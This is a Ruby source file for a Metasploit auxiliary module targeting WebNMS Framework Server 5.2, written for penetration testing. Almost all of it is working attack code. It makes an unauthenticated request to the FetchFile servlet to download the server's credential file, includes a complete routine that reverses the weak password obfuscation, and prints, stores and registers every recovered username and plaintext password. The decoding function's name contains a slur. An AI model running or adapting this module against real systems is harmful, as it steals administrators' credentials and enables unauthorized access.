242 lines
6.3 KiB
Ruby
242 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WebNMS Framework Server Credential Disclosure',
|
|
'Description' => %q{
|
|
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
|
|
all user credentials. The first vulnerability is a unauthenticated file download
|
|
in the FetchFile servlet, which is used to download the file containing the user
|
|
credentials. The second vulnerability is that the the passwords in the file are
|
|
obfuscated with a very weak algorithm which can be easily reversed.
|
|
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
|
Windows and Linux.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
|
|
],
|
|
'DisclosureDate' => 'Jul 4 2016'))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The target port', 9090]),
|
|
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def run
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
|
'method' =>'GET',
|
|
'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
|
|
})
|
|
|
|
if res && res.code == 200 && res.body.to_s.length > 0
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
'Header' => 'WebNMS Login Credentials',
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Username',
|
|
'Password'
|
|
]
|
|
)
|
|
print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
|
|
res.body.to_s.each_line { |line|
|
|
# we need these checks because username and password might appear in any random position in the line
|
|
if line =~ /username="([\w]*)"/
|
|
username = $1
|
|
if line =~ /password="([\w]*)"/
|
|
password = $1
|
|
plaintext_password = super_retarded_deobfuscation(password)
|
|
cred_table << [ username, plaintext_password ]
|
|
register_creds(username, plaintext_password)
|
|
end
|
|
end
|
|
}
|
|
print_line
|
|
print_line("#{cred_table}")
|
|
loot_name = 'webnms.creds'
|
|
loot_type = 'text/csv'
|
|
loot_filename = 'webnms_login_credentials.csv'
|
|
loot_desc = 'WebNMS Login Credentials'
|
|
p = store_loot(
|
|
loot_name,
|
|
loot_type,
|
|
rhost,
|
|
cred_table.to_csv,
|
|
loot_filename,
|
|
loot_desc)
|
|
print_status "Credentials saved in: #{p}"
|
|
return
|
|
end
|
|
end
|
|
|
|
|
|
# Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm.
|
|
# I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
|
|
def super_retarded_deobfuscation (ciphertext)
|
|
input = ciphertext
|
|
input = input.gsub("Z","000")
|
|
|
|
base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
|
|
base.push 'I'
|
|
base += 'J'.upto('Y').to_a
|
|
|
|
answer = ''
|
|
k = 0
|
|
remainder = 0
|
|
co = input.length / 6
|
|
|
|
while k < co
|
|
part = input[(6 * k),6]
|
|
partnum = ''
|
|
startnum = false
|
|
|
|
for i in 0...5
|
|
isthere = false
|
|
pos = 0
|
|
until isthere
|
|
if part[i] == base[pos]
|
|
isthere = true
|
|
partnum += pos.to_s
|
|
if pos == 0
|
|
if not startnum
|
|
answer += "0"
|
|
end
|
|
else
|
|
startnum = true
|
|
end
|
|
end
|
|
pos += 1
|
|
end
|
|
end
|
|
|
|
isthere = false
|
|
pos = 0
|
|
until isthere
|
|
if part[5] == base[pos]
|
|
isthere = true
|
|
remainder = pos
|
|
end
|
|
pos += 1
|
|
end
|
|
|
|
if partnum.to_s == "00000"
|
|
if remainder != 0
|
|
tempo = remainder.to_s
|
|
temp1 = answer[0..(tempo.length)]
|
|
answer = temp1 + tempo
|
|
end
|
|
else
|
|
answer += (partnum.to_i * 60 + remainder).to_s
|
|
end
|
|
k += 1
|
|
end
|
|
|
|
if input.length % 6 != 0
|
|
ending = input[(6*k)..(input.length)]
|
|
partnum = ''
|
|
if ending.length > 1
|
|
i = 0
|
|
startnum = false
|
|
for i in 0..(ending.length - 2)
|
|
isthere = false
|
|
pos = 0
|
|
until isthere
|
|
if ending[i] == base[pos]
|
|
isthere = true
|
|
partnum += pos.to_s
|
|
if pos == 0
|
|
if not startnum
|
|
answer += "0"
|
|
end
|
|
else
|
|
startnum = true
|
|
end
|
|
end
|
|
pos += 1
|
|
end
|
|
end
|
|
|
|
isthere = false
|
|
pos = 0
|
|
until isthere
|
|
if ending[i+1] == base[pos]
|
|
isthere = true
|
|
remainder = pos
|
|
end
|
|
pos += 1
|
|
end
|
|
answer += (partnum.to_i * 60 + remainder).to_s
|
|
else
|
|
isthere = false
|
|
pos = 0
|
|
until isthere
|
|
if ending == base[pos]
|
|
isthere = true
|
|
remainder = pos
|
|
end
|
|
pos += 1
|
|
end
|
|
answer += remainder.to_s
|
|
end
|
|
end
|
|
|
|
final = ''
|
|
for k in 0..((answer.length / 2) - 1)
|
|
final.insert(0,(answer[2*k,2].to_i + 28).chr)
|
|
end
|
|
final
|
|
end
|
|
|
|
|
|
def register_creds(username, password)
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: self.fullname,
|
|
workspace_id: myworkspace_id,
|
|
private_data: password,
|
|
private_type: :password,
|
|
username: username
|
|
}
|
|
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'),
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data.merge!(service_data)
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
core: credential_core,
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
create_credential_login(login_data)
|
|
end
|
|
end
|